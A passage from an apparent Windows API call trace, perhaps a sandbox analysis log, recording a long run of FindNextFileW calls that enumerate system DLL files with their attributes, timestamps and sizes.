hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1370f7, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1370f7, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="api-ms-win-service-management-l1-1-0.dll", cAlternateFileName="")) returned 1 [0164.154] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d09eb7b, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d09eb7b, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="api-ms-win-service-management-l2-1-0.dll", cAlternateFileName="")) returned 1 [0164.154] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d267bef, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d267bef, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="api-ms-win-service-winsvc-l1-1-0.dll", cAlternateFileName="")) returned 1 [0164.154] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7821a163, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x7821a163, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x7e595a10, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="apilogen.dll", cAlternateFileName="")) returned 1 [0164.154] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1f2f92c, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xc1f2f92c, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x7e595a10, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x36000, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="apircl.dll", cAlternateFileName="")) returned 1 [0164.154] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2de74afe, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2de74afe, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf261dbf0, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="apisetschema.dll", cAlternateFileName="")) returned 1 [0164.154] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92c3856c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92c3856c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92c5e6cc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x48400, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="apphelp.dll", cAlternateFileName="")) returned 1 [0164.154] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a4c40da, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x7a4c40da, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x7e595a10, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x7400, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="Apphlpdm.dll", cAlternateFileName="")) returned 1 [0164.154] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc6b7842, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xcc6b7842, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7e608600, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="appidapi.dll", cAlternateFileName="")) returned 1 [0164.154] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd29cc968, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xd29cc968, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7e6540f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x31a00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="AppIdPolicyEngineApi.dll", cAlternateFileName="")) returned 1 [0164.155] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98006f9, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x98006f9, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7e6c6ce0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x24800, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="appmgmts.dll", cAlternateFileName="")) returned 1 [0164.155] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1c14fdd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb1c14fdd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1c6129e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x53000, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="appmgr.dll", cAlternateFileName="")) returned 1 [0164.155] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc81f8794, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xc81f8794, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x7e6eb6d0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x30e00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="apss.dll", cAlternateFileName="")) returned 1 [0164.155] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31c9efbc, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x31c9efbc, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xf2a6d430, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="asferror.dll", cAlternateFileName="")) returned 1 [0164.155] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x57090500, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x6cc0, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="aspnet_counters.dll", cAlternateFileName="")) returned 1 [0164.155] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84e661b3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x84e661b3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x84e661b3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10800, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="asycfilt.dll", cAlternateFileName="")) returned 1 [0164.155] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d2b74b, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0x2d2b74b, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0x805466c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11200, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="atl.dll", cAlternateFileName="")) returned 1 [0164.155] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b0b4600, ftCreationTime.dwHighDateTime=0x1cc2787, ftLastAccessTime.dwLowDateTime=0xcc438260, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0x4b0b4600, ftLastWriteTime.dwHighDateTime=0x1cc2787, nFileSizeHigh=0x0, nFileSizeLow=0x21b48, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="atl100.dll", cAlternateFileName="")) returned 1 [0164.155] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29b8ce00, ftCreationTime.dwHighDateTime=0x1ce64f7, ftLastAccessTime.dwLowDateTime=0xef797c80, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0x29b8ce00, ftLastWriteTime.dwHighDateTime=0x1ce64f7, nFileSizeHigh=0x0, nFileSizeLow=0x28248, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="atl110.dll", cAlternateFileName="")) returned 1 [0164.212] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9363019e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9363019e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x936562fe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x47e00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="atmfd.dll", cAlternateFileName="")) returned 1 [0164.212] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9360a03e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9360a03e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9363019e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x8600, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="atmlib.dll", cAlternateFileName="")) returned 1 [0164.212] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4204ec3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb4204ec3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb4204ec3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3b800, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="audiodev.dll", cAlternateFileName="")) returned 1 [0164.212] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78f79a81, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x78f79a81, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x80675280, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5b800, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="AudioEng.dll", cAlternateFileName="")) returned 1 [0164.212] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce47270e, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0xce47270e, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0xad59f9a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6c200, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="AUDIOKSE.dll", cAlternateFileName="")) returned 1 [0164.212] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87266eb6, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x87266eb6, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x87266eb6, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2fc00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="AudioSes.dll", cAlternateFileName="")) returned 1 [0164.213] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68ceb7bb, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x68ceb7bb, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x80733960, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x35000, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="AuditNativeSnapIn.dll", cAlternateFileName="")) returned 1 [0164.213] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a1010d4, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x6a1010d4, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x80733960, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xd800, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="AuditPolicyGPInterop.dll", cAlternateFileName="")) returned 1 [0164.213] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6732ea88, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x6732ea88, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xf6ab4570, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x17400, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="auditpolmsg.dll", cAlternateFileName="")) returned 1 [0164.213] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb08b31c, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xb08b31c, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x808b0720, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x51a00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="authfwcfg.dll", cAlternateFileName="")) returned 1 [0164.213] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a14413, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x9a14413, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x808fe920, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x48a00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="AuthFWGP.dll", cAlternateFileName="")) returned 1 [0164.213] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9aed7d9c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9aed7d9c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9af4a1bd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4d5000, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="AuthFWSnapin.dll", cAlternateFileName="")) returned 1 [0164.213] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0eeeaef, ftCreationTime.dwHighDateTime=0x1ca0406, ftLastAccessTime.dwLowDateTime=0xcd1a5500, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0x3931bcc5, ftLastWriteTime.dwHighDateTime=0x1ca0421, nFileSizeHigh=0x0, nFileSizeLow=0x1f000, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="AuthFWWizFwk.dll", cAlternateFileName="")) returned 1 [0164.213] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8acdeb81, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8acdeb81, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ad04ce2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1b5800, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="authui.dll", cAlternateFileName="")) returned 1 [0164.213] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x714738cc, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x714738cc, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x80ac71d0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x18200, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="authz.dll", cAlternateFileName="")) returned 1 [0164.213] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a9bee9c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a9bee9c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a9bee9c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23e00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="autoplay.dll", cAlternateFileName="")) returned 1 [0164.213] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdc3f99b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xfdc3f99b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x80b12cc0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1d400, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="AuxiliaryDisplayApi.dll", cAlternateFileName="")) returned 1 [0164.213] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb67a8ae8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb67a8ae8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb67cec49, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa2800, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="AuxiliaryDisplayCpl.dll", cAlternateFileName="")) returned 1 [0164.213] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8898fb50, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x8898fb50, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x80c1ce90, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfe00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="avicap32.dll", cAlternateFileName="")) returned 1 [0164.213] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b15f501, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9b15f501, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9b185661, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x16600, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="avifil32.dll", cAlternateFileName="")) returned 1 [0164.213] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb761c16, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xb761c16, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x80d75260, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3800, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="avrt.dll", cAlternateFileName="")) returned 1 [0164.213] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x849c970b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x849c970b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x849ef86b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xba400, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="azroles.dll", cAlternateFileName="")) returned 1 [0164.213] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ba1c5fa, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ba1c5fa, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ba4275a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4cc00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="azroleui.dll", cAlternateFileName="")) returned 1 [0164.213] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x849a35ab, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x849a35ab, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x849c970b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="AzSqlExt.dll", cAlternateFileName="")) returned 1 [0164.213] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9afe273e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9afe273e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9afe273e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23580, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="basecsp.dll", cAlternateFileName="")) returned 1 [0164.213] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86b8ef69, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x86b8ef69, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x86bb50c9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb4e00, dwReserved0=0x77ae4b54, dwReserved1=0x41fb64, cFileName="batmeter.dll", cAlternateFileName="")) returned 1 [0164.213] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f9a0 | out: lpFindFileData=0x41f9a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40b43e34, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x40b43e34, ftLastAccessTime.dwHighDateTime=0x1ca0412, 